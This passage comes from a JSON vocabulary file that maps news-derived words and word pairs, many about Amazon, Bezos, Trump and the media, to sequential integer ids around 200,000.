\"abbreviated life\": 200068,\n  \"u9e form\": 200069,\n  \"cute\": 200070,\n  \"chicha\": 200071,\n  \"meaningful ding\": 200072,\n  \"plusmediasolutions\": 200073,\n  \"program turns\": 200074,\n  \"rigorous economic\": 200075,\n  \"evaluated compared\": 200076,\n  \"shocking leaked\": 200077,\n  \"0000 unch\": 200078,\n  \"amazon affiliates\": 200079,\n  \"ii thedonman1\": 200080,\n  \"cnn want\": 200081,\n  \"buds chefsgiving\": 200082,\n  \"warren break\": 200083,\n  \"construction unions\": 200084,\n  \"mccain service\": 200085,\n  \"genome sciences\": 200086,\n  \"tight black\": 200087,\n  \"maccallum arguing\": 200088,\n  \"barr relinquished\": 200089,\n  \"unsettling financial\": 200090,\n  \"gizmos\": 200091,\n  \"remove owlprevitem\": 200092,\n  \"medical assistance\": 200093,\n  \"apollo did\": 200094,\n  \"mcmillandoolittle\": 200095,\n  \"dick sporting\": 200096,\n  \"income amazon\": 200097,\n  \"zeal\": 200098,\n  \"abney\": 200099,\n  \"community school\": 200100,\n  \"read stories\": 200101,\n  \"large profits\": 200102,\n  \"stuff really\": 200103,\n  \"miller russ\": 200104,\n  \"nations report\": 200105,\n  \"soap\": 200106,\n  \"open american\": 200107,\n  \"revise downward\": 200108,\n  \"release pecker\": 200109,\n  \"bar judge\": 200110,\n  \"weir\": 200111,\n  \"hill mayor\": 200112,\n  \"hiking boot\": 200113,\n  \"significant role\": 200114,\n  \"thrall\": 200115,\n  \"economist hal\": 200116,\n  \"deferred liabilities\": 200117,\n  \"energy health\": 200118,\n  \"service altogether\": 200119,\n  \"existing trust\": 200120,\n  \"bonfire\": 200121,\n  \"workers hefty\": 200122,\n  \"rainfall patterns\": 200123,\n  \"support entrepreneurs\": 200124,\n  \"alike panelists\": 200125,\n  \"clean shaven\": 200126,\n  \"employee leaked\": 200127,\n  \"beaumont juana\": 200128,\n  \"president statements\": 200129,\n  \"texts washington\": 200130,\n  \"willful\": 200131,\n  \"gone unnoticed\": 200132,\n  \"cia civil\": 200133,\n  \"2018 west\": 200134,\n  \"patents amazon\": 200135,\n  \"recusal amid\": 200136,\n  \"rihanna sends\": 200137,\n  \"controls alessandra\": 200138,\n  \"air\": 200139,\n  \"department recives\": 200140,\n  \"songman\": 200141,\n  \"2018 correction\": 200142,\n  \"recode presents\": 200143,\n  \"better left\": 200144,\n  \"commerce amazon\": 200145,\n  \"amazon ignores\": 200146,\n  \"bigger invitation\": 200147,\n  \"updated material\": 200148,\n  \"technologies ceo\": 200149,\n  \"company explicitly\": 200150,\n  \"spx\": 200151,\n  \"gileads\": 200152,\n  \"politics bezos\": 200153,\n  \"energy company\": 200154,\n  \"sensational statement\": 200155,\n  \"says aides\": 200156,\n  \"nganang previous\": 200157,\n  \"pathname r4ee\": 200158,\n  \"yes rush\": 200159,\n  \"events birthdays\": 200160,\n  \"watched food\": 200161,\n  \"quadrille publishing\": 200162,\n  \"office environment\": 200163,\n  \"books exceeding\": 200164,\n  \"major customers\": 200165,\n  \"insider requests\": 200166,\n  \"sandra\": 200167,\n  \"notably alec\": 200168,\n  \"irrevocable decisions\": 200169,\n  \"billing\": 200170,\n  \"forfeit\": 200171,\n  \"deducted according\": 200172,\n  \"leveraging\": 200173,\n  \"tech smartphone\": 200174,\n  \"trump began\": 200175,\n  \"exclusive data\": 200176,\n  \"content related\": 200177,\n  \"university told\": 200178,\n  \"political gain\": 200179,\n  \"tolerance policy\": 200180,\n  \"despite hq2\": 200181,\n  \"packaging delivery\": 200182,\n  \"neibauer\": 200183,\n  \"left chief\": 200184,\n  \"keying\": 200185,\n  \"comment woodward\": 200186,\n  \"isn entirely\": 200187,\n  \"greenpeace slammed\": 200188,\n  \"cnn quote\": 200189,\n  \"eliciting variety\": 200190,\n  \"billion dollar\": 200191,\n  \"surprise aside\": 200192,\n  \"statement openly\": 200193,\n  \"norms efforts\": 200194,\n  \"beneficial expenditure\": 200195,\n  \"districts voted\": 200196,\n  \"sellers list\": 200197,\n  \"8700 unch\": 200198,\n  \"korea iran\": 200199,\n  \"case w5q\": 200200,\n  \"largest media\": 200201,\n  \"canadians worry\": 200202,\n  \"answering questions\": 200203,\n  \"radic18 jan\": 200204,\n  \"fiasco black\": 200205,\n  \"assassinate syrian\": 200206,\n  \"approves new\": 200207,\n  \"say safety\": 200208,\n  \"amazon regulation\": 200209,\n  \"homeless counts\": 200210,\n  \"successes whatsapp\": 200211,\n  \"blackmail frank\": 200212,\n  \"fated hq2\": 200213,\n  \"expanded nationwide\": 200214,\n  \"mass public\": 200215,\n  \"government renewed\": 200216,\n  \"gadgets hollywood\": 200217,\n  \"tax technically\": 200218,\n  \"anthony abbate\": 200219,\n  \"different path\": 200220,\n  \"wrong fed\": 200221,\n  \"defending_the_one_percent_1\": 200222,\n  \"phonics\": 200223,\n  \"president reported\": 200224,\n  \"sam belongs\": 200225,\n  \"revealed fresh\": 200226,\n  \"wapo columnist\": 200227,\n  \"acclaimed author\": 200228,\n  \"edwardsville sent\": 200229,\n  \"vote bloomberg\": 200230,\n  \"secure reliable\": 200231,\n  \"new technology\": 200232,\n  \"happen unless\": 200233,\n  \"703 bought\": 200234,\n  \"alvarez dropped\": 200235,\n  \"promoting left\": 200236,\n  \"fide economic\": 200237,\n  \"ip theft\": 200238,\n  \"making typical\": 200239,\n  \"ubhi connections\": 200240,\n  \"incentive deal\": 200241,\n  \"way people\": 200242,\n  \"mired\": 200243,\n  \"la times\": 200244,\n  \"story shares\": 200245,\n  \"pollster says\": 200246,\n  \"packages new\": 200247,\n  \"fall 2016\": 200248,\n  \"beltway brett\": 200249,\n  \"heroclip welcome\": 200250,\n  \"politics ethnocide\": 200251,\n  \"questioned huseman\": 200252,\n  \"price valued\": 200253,\n  \"controlled\": 200254,\n  \"celebrating\": 200255,\n  \"offering amazon\": 200256,\n  \"mark sanford\": 200257,\n  \"jewish dietary\": 200258,\n  \"ghosn indicted\": 200259,\n  \"green monkey\": 200260,\n  \"essentially transferred\": 200261,\n  \"assange self\": 200262,\n  \"forceful criticism\": 200263,\n  \"spokesman eric\": 200264,\n  \"bloomberg news\": 200265,\n  \"book placement\": 200266,\n  \"services microsoft\": 200267,\n  \"board prices\": 200268,\n  \"hurricane victims\": 200269,\n  \"industrial wasteland\": 200270,\n  \"esque tensions\": 200271,\n  \"theology\": 200272,\n  \"story storm\": 200273,\n  \"million packages\": 200274,\n  \"protested donald\": 200275,\n  \"circulation fell\": 200276,\n  \"orleans obama\": 200277,\n  \"officials accountable\": 200278,\n  \"falling prices\": 200279,\n  \"bannion jessica\": 200280,\n  \"superstars\": 200281,\n  \"bought distributed\": 200282,\n  \"maxsa innovations\": 200283,\n  \"grabbing\": 200284,\n  \"stars michiel\": 200285,\n  \"regular rate\": 200286,\n  \"consumer privacy\": 200287,\n  \"0x367 getty_173218731_200015422000928060_388160\": 200288,\n  \"diverse set\": 200289,\n  \"reportedly threatened\": 200290,\n  \"pincus\": 200291,\n  \"1m day\": 200292,\n  \"digit percentage\": 200293,\n  \"include raising\": 200294,\n  \"bezos soon\": 200295,\n  \"recipes richard\": 200296,\n  \"venture reuters\": 200297,\n  \"seasonality\": 200298,\n  \"horrendous\": 200299,\n  \"cavaliers probably\": 200300,\n  \"room roared\": 200301,\n  \"correspondent yes\": 200302,\n  \"monopolistic nature\": 200303,\n  \"post propaganda\": 200304,\n  \"product security\": 200305,\n  \"futures edged\": 200306,\n  \"nbc trump\": 200307,\n  \"afghans place\": 200308,\n  \"adequate taxes\": 200309,\n  \"alc\\u00e2ntara\": 200310,\n  \"site ebay\": 200311,\n  \"economic advisers\": 200312,\n  \"cash cow\": 200313,\n  \"axios axios\": 200314,\n  \"total applications\": 200315,\n  \"annual membership\": 200316,\n  \"cookbooks broadcast\": 200317,\n  \"surprised peers\": 200318,\n  \"problematic accounting\": 200319,\n  \"conservation lack\": 200320,\n  \"post reposted\": 200321,\n  \"quarter record\": 200322,\n  \"ask richard\": 200323,\n  \"bidders accelerates\": 200324,\n  \"acceso foto\": 200325,\n  \"originally posted\": 200326,\n  \"service according\": 200327,\n  \"purchasers\": 200328,\n  \"order amazon\": 200329,\n  \"kavanaugh lack\": 200330,\n  \"john mchugh\": 200331,\n  \"charlottesville virginia\": 200332,\n  \"adequately alleges\": 200333,\n  \"lux sick\": 200334,\n  \"b4e\": 200335,\n  \"mode bartiromo\": 200336,\n  \"evidently agreed\": 200337,\n  \"rare private\": 200338,\n  \"promotes books\": 200339,\n  \"handle tens\": 200340,\n  \"musical instrument\": 200341,\n  \"despises\": 200342,\n  \"record run\": 200343,\n  \"thursdays bezos\": 200344,\n  \"excoriated\": 200345,\n  \"credit program\": 200346,\n  \"prototype\": 200347,\n  \"strike florida\": 200348,\n  \"times picayune\": 200349,\n  \"cia boss\": 200350,\n  \"editorial pages\": 200351,\n  \"work keyboards\": 200352,\n  \"colorado jogger\": 200353,\n  \"kilmeade shocked\": 200354,\n  \"driven stories\": 200355,\n  \"youtube nonetheless\": 200356,\n  \"wasserman marc\": 200357,\n  \"quietly finding\": 200358,\n  \"robotics camp\": 200359,\n  \"hannity ann\": 200360,\n  \"relating\": 200361,\n  \"correspondent coca\": 200362,\n  \"detectors\": 200363,\n  \"picks team\": 200364,\n  \"leaders encouraging\": 200365,\n  \"handle agency\": 200366,\n  \"org a4ee\": 200367,\n  \"million illegal\": 200368,\n  \"called cuomo\": 200369,\n  \"chicagoist just\": 200370,\n  \"making reference\": 200371,\n  \"testing demand\": 200372,\n  \"priebus employed\": 200373,\n  \"undergone political\": 200374,\n  \"oeit euro\": 200375,\n  \"photos international\": 200376,\n  \"note quotes\": 200377,\n  \"mere poetic\": 200378,\n  \"hawks\": 200379,\n  \"balqa region\": 200380,\n  \"push investors\": 200381,\n  \"men sneak\": 200382,\n  \"unapproved educational\": 200383,\n  \"military team\": 200384,\n  \"lt gov\": 200385,\n  \"blaring\": 200386,\n  \"gain toronto\": 200387,\n  \"cortez says\": 200388,\n  \"numberof\": 200389,\n  \"guilty pleasure\": 200390,\n  \"soar scientists\": 200391,\n  \"crowd outside\": 200392,\n  \"happening trump\": 200393,\n  \"prefunding retirement\": 200394,\n  \"calls trump\": 200395,\n  \"deal negotiated\": 200396,\n  \"bezos sells\": 200397,\n  \"facebook disappointing\": 200398,\n  \"households remain\": 200399,\n  \"madeline\": 200400,\n  \"fourth quarter\": 200401,\n  \"launched petition\": 200402,\n  \"fashion books\": 200403,\n  \"bartiromo want\": 200404,\n  \"expressing doubt\": 200405,\n  \"promote equity\": 200406,\n  \"queens following\": 200407,\n  \"fbi sting\": 200408,\n  \"incorporated fiduciary\": 200409,\n  \"officials delayed\": 200410,\n  \"pablo schreiber\": 200411,\n  \"fc ambassador\": 200412,\n  \"2019 recode\": 200413,\n  \"weekly newsletter\": 200414,\n  \"amazon resources\": 200415,\n  \"underlying motive\": 200416,\n  \"wise investments\": 200417,\n  \"ireland holland\": 200418,\n  \"include community\": 200419,\n  \"whatsappshareelement jquery\": 200420,\n  \"dillard jcpenney\": 200421,\n  \"big discounts\": 200422,\n  \"proprietary device\": 200423,\n  \"67777125\": 200424,\n  \"peggy noonan\": 200425,\n  \"lower says\": 200426,\n  \"summary\": 200427,\n  \"combinations\": 200428,\n  \"russiainvestigation mccabe\": 200429,\n  \"google monopoly\": 200430,\n  \"2012 did\": 200431,\n  \"abusing market\": 200432,\n  \"quarterly number\": 200433,\n  \"ecedzui0be\": 200434,\n  \"zeroing\": 200435,\n  \"underline\": 200436,\n  \"dubious ideas\": 200437,\n  \"shailene\": 200438,\n  \"focus amazon\": 200439,\n  \"thoroughly investigate\": 200440,\n  \"actually billionaire\": 200441,\n  \"example european\": 200442,\n  \"fact criticizing\": 200443,\n  \"rope treatment\": 200444,\n  \"roost did\": 200445,\n  \"metapack operating\": 200446,\n  \"enforcement power\": 200447,\n  \"cutting edge\": 200448,\n  \"flake chairs\": 200449,\n  \"market investors\": 200450,\n  \"house really\": 200451,\n  \"gknazimbbv\": 200452,\n  \"time just\": 200453,\n  \"morning news\": 200454,\n  \"eat away\": 200455,\n  \"claim asylum\": 200456,\n  \"notorious moment\": 200457,\n  \"trafficked\": 200458,\n  \"berkeley professor\": 200459,\n  \"news incidents\": 200460,\n  \"truck explosion\": 200461,\n  \"pictured wearing\": 200462,\n  \"hyped\": 200463,\n  \"target wouldn\": 200464,\n  \"aramco bp\": 200465,\n  \"hour dosing\": 200466,\n  \"melissa schwartz\": 200467,\n  \"object m2x\": 200468,\n  \"power player\": 200469,\n  \"talk magazine\": 200470,\n  \"alice\": 200471,\n  \"undermined guardian\": 200472,\n  \"group news\": 200473,\n  \"unsettled members\": 200474,\n  \"results definitely\": 200475,\n  \"springs\": 200476,\n  \"margin notes\": 200477,\n  \"major metropolises\": 200478,\n  \"vikings\": 200479,\n  \"sourcewhether\": 200480,\n  \"fazed\": 200481,\n  \"breaches moser\": 200482,\n  \"startup initiative\": 200483,\n  \"poorer people\": 200484,\n  \"torrent sites\": 200485,\n  \"hurts small\": 200486,\n  \"making announcements\": 200487,\n  \"phcvjdjxyi max\": 200488,\n  \"retailer zappos\": 200489,\n  \"hours according\": 200490,\n  \"uk based\": 200491,\n  \"smaller websites\": 200492,\n  \"leans\": 200493,\n  \"strategies tactics\": 200494,\n  \"garmin\": 200495,\n  \"doctored image\": 200496,\n  \"jersey tax\": 200497,\n  \"pulls gun\": 200498,\n  \"branham\": 200499,\n  \"surprise moves\": 200500,\n  \"stay focused\": 200501,\n  \"progress according\": 200502,\n  \"carriers focus\": 200503,\n  \"loosely\": 200504,\n  \"following story\": 200505,\n  \"unfurled\": 200506,\n  \"q3 net\": 200507,\n  \"eisen thank\": 200508,\n  \"unaffordable\": 200509,\n  \"china tesla\": 200510,\n  \"kvaal\": 200511,\n  \"primetime\": 200512,\n  \"geekwire civic\": 200513,\n  \"skirmish looks\": 200514,\n  \"justice departments\": 200515,\n  \"little jeff\": 200516,\n  \"populist newsletter\": 200517,\n  \"zurich issued\": 200518,\n  \"typically improves\": 200519,\n  \"longman\": 200520,\n  \"early stages\": 200521,\n  \"ferrar\": 200522,\n  \"owned kitchen\": 200523,\n  \"just hadn\": 200524,\n  \"motley\": 200525,\n  \"entertainer\": 200526,\n  \"gordon ramsay\": 200527,\n  \"bidder\": 200528,\n  \"live music\": 200529,\n  \"acbff\": 200530,\n  \"administrative team\": 200531,\n  \"locations smoke\": 200532,\n  \"report new\": 200533,\n  \"gileads stock\": 200534,\n  \"js owl\": 200535,\n  \"embarrassing private\": 200536,\n  \"smaller online\": 200537,\n  \"curbed fracking\": 200538,\n  \"jason rezaian\": 200539,\n  \"utility pole\": 200540,\n  \"specific times\": 200541,\n  \"advsrs\": 200542,\n  \"brother saying\": 200543,\n  \"kids crying\": 200544,\n  \"congress zinke\": 200545,\n  \"prime driver\": 200546,\n  \"rutenberg\": 200547,\n  \"results topped\": 200548,\n  \"historically independent\": 200549,\n  \"publicist\": 200550,\n  \"seconds trump\": 200551,\n  \"difference 180\": 200552,\n  \"hightower trump\": 200553,\n  \"fargo securities\": 200554,\n  \"snapchat growth\": 200555,\n  \"billion trump\": 200556,\n  \"market today\": 200557,\n  \"ingredients vaccine\": 200558,\n  \"wasn just\": 200559,\n  \"oppress marginalized\": 200560,\n  \"rockwell collins\": 200561,\n  \"________________________ reviews\": 200562,\n  \"certainly adds\": 200563,\n  \"bank local\": 200564,\n  \"platforms actually\": 200565,\n  \"headlamp consider\": 200566,\n  \"stocks pinched\": 200567,\n  \"bargain home\": 200568,\n  \"potential deal\": 200569,\n  \"just ushering\": 200570,\n  \"gottlieb\": 200571,\n  \"lockheed martin\": 200572,\n  \"changes birthdays\": 200573,\n  \"stipulates\": 200574,\n  \"amazon halted\": 200575,\n  \"aging industrial\": 200576,\n  \"rehabilitation\": 200577,\n  \"directors suzanne\": 200578,\n  \"tunneling\": 200579,\n  \"horseman netflix\": 200580,\n  \"warehousing workers\": 200581,\n  \"private bezos\": 200582,\n  \"2018when 2009\": 200583,\n  \"sabyasachi\": 200584,\n  \"strs ohio\": 200585,\n  \"shutdown rosenstein\": 200586,\n  \"story wall\": 200587,\n  \"300x200 turning_point_taylor_collins_poster_600_387892\": 200588,\n  \"unchecked amazon\": 200589,\n  \"seriously vestager\": 200590,\n  \"weak areas\": 200591,\n  \"appear unlikely\": 200592,\n  \"tweeted video\": 200593,\n  \"gripping stories\": 200594,\n  \"particularly potent\": 200595,\n  \"golden knights\": 200596,\n  \"watching descriptionplaintext\": 200597,\n  \"cincinnati enquirer\": 200598,\n  \"consultancy mwpvl\": 200599,\n  \"nominate\": 200600,\n  \"tempe ariz\": 200601,\n  \"currency called\": 200602,\n  \"sch\": 200603,\n  \"seeing sanchez\": 200604,\n  \"craftsman\": 200605,\n  \"aged\": 200606,\n  \"responded bring\": 200607,\n  \"barrow\": 200608,\n  \"impacted consumers\": 200609,\n  \"tabloid fueling\": 200610,\n  \"clintonfrom tough\": 200611,\n  \"inflexible government\": 200612,\n  \"pension payments\": 200613,\n  \"senior analyst\": 200614,\n  \"kla\": 200615,\n  \"sales decision\": 200616,\n  \"primary challenge\": 200617,\n  \"2018 rubicon\": 200618,\n  \"johnson wi\": 200619,\n  \"tennessee standing\": 200620,\n  \"policy academia\": 200621,\n  \"imploding thanks\": 200622,\n  \"challenged cnn\": 200623,\n  \"red hatted\": 200624,\n  \"story joe\": 200625,\n  \"cup stupidity\": 200626,\n  \"unfavorable coverage\": 200627,\n  \"richard blumenthal\": 200628,\n  \"maximize opportunities\": 200629,\n  \"tax liabilities\": 200630,\n  \"html earnings\": 200631,\n  \"case share\": 200632,\n  \"surprise tax\": 200633,\n  \"amazon bashing\": 200634,\n  \"enquirer leadership\": 200635,\n  \"overnight rain\": 200636,\n  \"republicans thought\": 200637,\n  \"coercing behavior\": 200638,\n  \"richly\": 200639,\n  \"sold 013\": 200640,\n  \"data suggest\": 200641,\n  \"procurement officer\": 200642,\n  \"vandal topples\": 200643,\n  \"impedes\": 200644,\n  \"video mash\": 200645,\n  \"campaign reuters\": 200646,\n  \"david solomon\": 200647,\n  \"especially problematic\": 200648,\n  \"tagged\": 200649,\n  \"spacex ceo\": 200650,\n  \"carthage\": 200651,\n  \"pleasence\": 200652,\n  \"ppchd 2000\": 200653,\n  \"wicking\": 200654,\n  \"office cites\": 200655,\n  \"string\": 200656,\n  \"noble stores\": 200657,\n  \"reporter camille\": 200658,\n  \"bezos drop\": 200659,\n  \"person tour\": 200660,\n  \"diapered\": 200661,\n  \"frequent visitor\": 200662,\n  \"day trump\": 200663,\n  \"pizza delivery\": 200664,\n  \"aggregated\": 200665,\n  \"flushing neighborhood\": 200666,\n  \"generous staff\": 200667,\n  \"term personal\": 200668,\n  \"reassessment plan\": 200669,\n  \"new kid\": 200670,\n  \"181004033404 colbert\": 200671,\n  \"driving secret\": 200672,\n  \"resisted trump\": 200673,\n  \"worryingly\": 200674,\n  \"bombshell report\": 200675,\n  \"winning book\": 200676,\n  \"sleazy text\": 200677,\n  \"report outlines\": 200678,\n  \"commentary amazon\": 200679,\n  \"willingly sells\": 200680,\n  \"company want\": 200681,\n  \"program providers\": 200682,\n  \"story trumps\": 200683,\n  \"boys\": 200684,\n  \"instead icann\": 200685,\n  \"ami includes\": 200686,\n  \"kollmeyer marketwatch\": 200687,\n  \"conservatives real\": 200688,\n  \"abrogate contract\": 200689,\n  \"diplomatically french\": 200690,\n  \"cnn index\": 200691,\n  \"000 small\": 200692,\n  \"company writes\": 200693,\n  \"suggests charging\": 200694,\n  \"deploying\": 200695,\n  \"role michael\": 200696,\n  \"president stated\": 200697,\n  \"trains\": 200698,\n  \"trades unions\": 200699,\n  \"routinely bans\": 200700,\n  \"federal court\": 200701,\n  \"better track\": 200702,\n  \"ha a4ee\": 200703,\n  \"new norm\": 200704,\n  \"content beloved\": 200705,\n  \"post publisher\": 200706,\n  \"brito\": 200707,\n  \"forcing hollywood\": 200708,\n  \"winning sensitive\": 200709,\n  \"delivery people\": 200710,\n  \"repealed does\": 200711,\n  \"fact patterns\": 200712,\n  \"ms aoc\": 200713,\n  \"length 56966\": 200714,\n  \"st businesses\": 200715,\n  \"fraudulent attempt\": 200716,\n  \"anchor wish\": 200717,\n  \"solicitation weren\": 200718,\n  \"tweeted right\": 200719,\n  \"ethan\": 200720,\n  \"college graduates\": 200721,\n  \"related accessories\": 200722,\n  \"current girlfriend\": 200723,\n  \"associate justice\": 200724,\n  \"hitting fresh\": 200725,\n  \"text message\": 200726,\n  \"latino congresspersons\": 200727,\n  \"york investment\": 200728,\n  \"msx6a1vvz0 politicususa\": 200729,\n  \"love sex\": 200730,\n  \"arrived just\": 200731,\n  \"companies billions\": 200732,\n  \"284\": 200733,\n  \"natural products\": 200734,\n  \"alicloud\": 200735,\n  \"carlson did\": 200736,\n  \"interests affected\": 200737,\n  \"vf\": 200738,\n  \"security policy\": 200739,\n  \"amazon samsung\": 200740,\n  \"infighting trump\": 200741,\n  \"successful strategy\": 200742,\n  \"week dominated\": 200743,\n  \"washington alex\": 200744,\n  \"risque texts\": 200745,\n  \"ambitions democrats\": 200746,\n  \"contract guarantees\": 200747,\n  \"orbiting\": 200748,\n  \"expected release\": 200749,\n  \"sanchez told\": 200750,\n  \"taking antitrust\": 200751,\n  \"aisha\": 200752,\n  \"reports given\": 200753,\n  \"slotting\": 200754,\n  \"affects tensions\": 200755,\n  \"little cubes\": 200756,\n  \"year accounted\": 200757,\n  \"save amazon\": 200758,\n  \"boss jamescomey\": 200759,\n  \"better treatment\": 200760,\n  \"included chapter\": 200761,\n  \"follow people\": 200762,\n  \"asset old\": 200763,\n  \"jj bleday\": 200764,\n  \"entrepreneur added\": 200765,\n  \"empire free\": 200766,\n  \"parenthood complying\": 200767,\n  \"health coverage\": 200768,\n  \"crosby maine\": 200769,\n  \"say tech\": 200770,\n  \"subscribers amazon\": 200771,\n  \"whalen reporter\": 200772,\n  \"politifact website\": 200773,\n  \"137billion\": 200774,\n  \"7000 media\": 200775,\n  \"undue\": 200776,\n  \"dumbfounded police\": 200777,\n  \"change follows\": 200778,\n  \"431 acquisitions\": 200779,\n  \"make award\": 200780,\n  \"companies authorities\": 200781,\n  \"supper\": 200782,\n  \"budget fight\": 200783,\n  \"fired tear\": 200784,\n  \"asoga\": 200785,\n  \"572\": 200786,\n  \"extreme proposals\": 200787,\n  \"government fails\": 200788,\n  \"universal reasons\": 200789,\n  \"cristina rivera\": 200790,\n  \"needed infrastructure\": 200791,\n  \"bannerhasatag false\": 200792,\n  \"aborted baby\": 200793,\n  \"worry\": 200794,\n  \"worthy competitor\": 200795,\n  \"andrew thanks\": 200796,\n  \"cancelkavanugh\": 200797,\n  \"concerted effort\": 200798,\n  \"elizabeth summers\": 200799,\n  \"help retain\": 200800,\n  \"important war\": 200801,\n  \"president expressed\": 200802,\n  \"sourcescott\": 200803,\n  \"chuckle\": 200804,\n  \"gas forte\": 200805,\n  \"conversation aboutthe\": 200806,\n  \"tim ahmann\": 200807,\n  \"vp wife\": 200808,\n  \"rosenstein raisedthe\": 200809,\n  \"delays tariff\": 200810,\n  \"pharmaceuticals industries\": 200811,\n  \"personally invested\": 200812,\n  \"legislative priority\": 200813,\n  \"jim thanks\": 200814,\n  \"dropkicks\": 200815,\n  \"apparently doesn\": 200816,\n  \"related questions\": 200817,\n  \"583 2004\": 200818,\n  \"clarkson potter\": 200819,\n  \"republican turned\": 200820,\n  \"380 words\": 200821,\n  \"lasted just\": 200822,\n  \"troubled\": 200823,\n  \"host stuart\": 200824,\n  \"containing methylene\": 200825,\n  \"rain\": 200826,\n  \"dismay\": 200827,\n  \"moat\": 200828,\n  \"business professionals\": 200829,\n  \"declination\": 200830,\n  \"hugh laurie\": 200831,\n  \"abha\": 200832,\n  \"growth differing\": 200833,\n  \"publicly balked\": 200834,\n  \"kim ap\": 200835,\n  \"ice just\": 200836,\n  \"lightning rod\": 200837,\n  \"cainiao\": 200838,\n  \"teller\": 200839,\n  \"does seek\": 200840,\n  \"overall sales\": 200841,\n  \"commerce yeah\": 200842,\n  \"math\": 200843,\n  \"americanallies accusing\": 200844,\n  \"drain\": 200845,\n  \"pointed criticism\": 200846,\n  \"tuition assistant\": 200847,\n  \"allows kids\": 200848,\n  \"time white\": 200849,\n  \"jonathan connell\": 200850,\n  \"hospitals culture\": 200851,\n  \"oxide\": 200852,\n  \"season brutal\": 200853,\n  \"expanding veterans\": 200854,\n  \"najib press\": 200855,\n  \"travelex\": 200856,\n  \"endless controversies\": 200857,\n  \"directly amazon\": 200858,\n  \"category cookbook\": 200859,\n  \"publication avoided\": 200860,\n  \"story scathing\": 200861,\n  \"volume days\": 200862,\n  \"party arrivals\": 200863,\n  \"service data\": 200864,\n  \"make exclusive\": 200865,\n  \"data released\": 200866,\n  \"just bit\": 200867,\n  \"pre transgender\": 200868,\n  \"pharmaceutical vaccine\": 200869,\n  \"vowing\": 200870,\n  \"accentuating investor\": 200871,\n  \"previously gated\": 200872,\n  \"written raiders\": 200873,\n  \"washington whittemore\": 200874,\n  \"elect doug\": 200875,\n  \"toed\": 200876,\n  \"stock rose\": 200877,\n  \"link\": 200878,\n  \"sling bag\": 200879,\n  \"cites justice\": 200880,\n  \"firms acquire\": 200881,\n  \"plus\": 200882,\n  \"netflix molly\": 200883,\n  \"aftrekposten voor\": 200884,\n  \"showed just\": 200885,\n  \"progressive approach\": 200886,\n  \"articles trump\": 200887,\n  \"youngest working\": 200888,\n  \"exelon\": 200889,\n  \"provide physical\": 200890,\n  \"transfer pricing\": 200891,\n  \"abortive\": 200892,\n  \"min aik\": 200893,\n  \"immigration rounding\": 200894,\n  \"left amazon\": 200895,\n  \"tyldum\": 200896,\n  \"raid\": 200897,\n  \"taken aback\": 200898,\n  \"illustration shows\": 200899,\n  \"shipping logistics\": 200900,\n  \"monica restaurant\": 200901,\n  \"author john\": 200902,\n  \"satanist\": 200903,\n  \"rules music\": 200904,\n  \"righteous indignation\": 200905,\n  \"peanut buttercups\": 200906,\n  \"jedi massive\": 200907,\n  \"pay company\": 200908,\n  \"reasserted american\": 200909,\n  \"systems nyt\": 200910,\n  \"day company\": 200911,\n  \"prohibit platforms\": 200912,\n  \"law officials\": 200913,\n  \"fellow citizens\": 200914,\n  \"banks huge\": 200915,\n  \"messages\": 200916,\n  \"flattened\": 200917,\n  \"q4 holiday\": 200918,\n  \"oliver hotstar\": 200919,\n  \"inner chaos\": 200920,\n  \"administration regina\": 200921,\n  \"sales rattle\": 200922,\n  \"reelected half\": 200923,\n  \"new young\": 200924,\n  \"just work\": 200925,\n  \"fanatics cornered\": 200926,\n  \"federal appropriations\": 200927,\n  \"help create\": 200928,\n  \"postcard remains\": 200929,\n  \"agribusiness brazil\": 200930,\n  \"amazon fedex\": 200931,\n  \"york created\": 200932,\n  \"withholding\": 200933,\n  \"norris amazon\": 200934,\n  \"smith outfit\": 200935,\n  \"accusations according\": 200936,\n  \"exec allegations\": 200937,\n  \"enquirer saga\": 200938,\n  \"marginal revolution\": 200939,\n  \"neighborhood\": 200940,\n  \"movie adaptation\": 200941,\n  \"children threatening\": 200942,\n  \"riveting shows\": 200943,\n  \"quietly updated\": 200944,\n  \"interrelated stories\": 200945,\n  \"jobs susie\": 200946,\n  \"marijuana sales\": 200947,\n  \"held company\": 200948,\n  \"stores hundreds\": 200949,\n  \"hearings staged\": 200950,\n  \"killed saudi\": 200951,\n  \"natasha simone\": 200952,\n  \"ms reed\": 200953,\n  \"4355 expands\": 200954,\n  \"memoir riverhead\": 200955,\n  \"88th birthday\": 200956,\n  \"actions weakening\": 200957,\n  \"potato\": 200958,\n  \"sold list\": 200959,\n  \"decisionfrom\": 200960,\n  \"estimates based\": 200961,\n  \"clear understanding\": 200962,\n  \"hatefully\": 200963,\n  \"accumulated\": 200964,\n  \"benign rate\": 200965,\n  \"qualify\": 200966,\n  \"india innovate\": 200967,\n  \"did attend\": 200968,\n  \"complicated scheme\": 200969,\n  \"times\": 200970,\n  \"debacle says\": 200971,\n  \"company mergers\": 200972,\n  \"understandably trump\": 200973,\n  \"similar guided\": 200974,\n  \"arjun\": 200975,\n  \"hiatt\": 200976,\n  \"covet\": 200977,\n  \"podesta hillary\": 200978,\n  \"care costs\": 200979,\n  \"robin\": 200980,\n  \"affairs mortgages\": 200981,\n  \"ranked bernie\": 200982,\n  \"retail surprise\": 200983,\n  \"trillion making\": 200984,\n  \"poor ivanka\": 200985,\n  \"hint\": 200986,\n  \"just shelled\": 200987,\n  \"status 979326715272065024\": 200988,\n  \"smaller oil\": 200989,\n  \"2010 2012\": 200990,\n  \"tweet despite\": 200991,\n  \"aesthetic touches\": 200992,\n  \"obama state\": 200993,\n  \"complex history\": 200994,\n  \"media david\": 200995,\n  \"worldwide deals\": 200996,\n  \"space battle\": 200997,\n  \"enriched\": 200998,\n  \"m2x a8\": 200999,\n  \"obamas netflix\": 201000,\n  \"moms\": 201001,\n  \"sanctioned merchandise\": 201002,\n  \"highly valued\": 201003,\n  \"progressive lawmaker\": 201004,\n  \"market lot\": 201005,\n  \"demand according\": 201006,\n  \"confirmation hearings\": 201007,\n  \"overseeing contract\": 201008,\n  \"instead shifted\": 201009,\n  \"colbert jokes\": 201010,\n  \"elect donald\": 201011,\n  \"pay dirt\": 201012,\n  \"wealthy owner\": 201013,\n  \"milgrim cross\": 201014,\n  \"harvard professor\": 201015,\n  \"formed new\": 201016,\n  \"bunk\": 201017,\n  \"want large\": 201018,\n  \"readily used\": 201019,\n  \"finances followed\": 201020,\n  \"hold right\": 201021,\n  \"include include\": 201022,\n  \"stating michael\": 201023,\n  \"tilda swinton\": 201024,\n  \"wealth 2019\": 201025,\n  \"rulejoin\": 201026,\n  \"slugger jj\": 201027,\n  \"home large\": 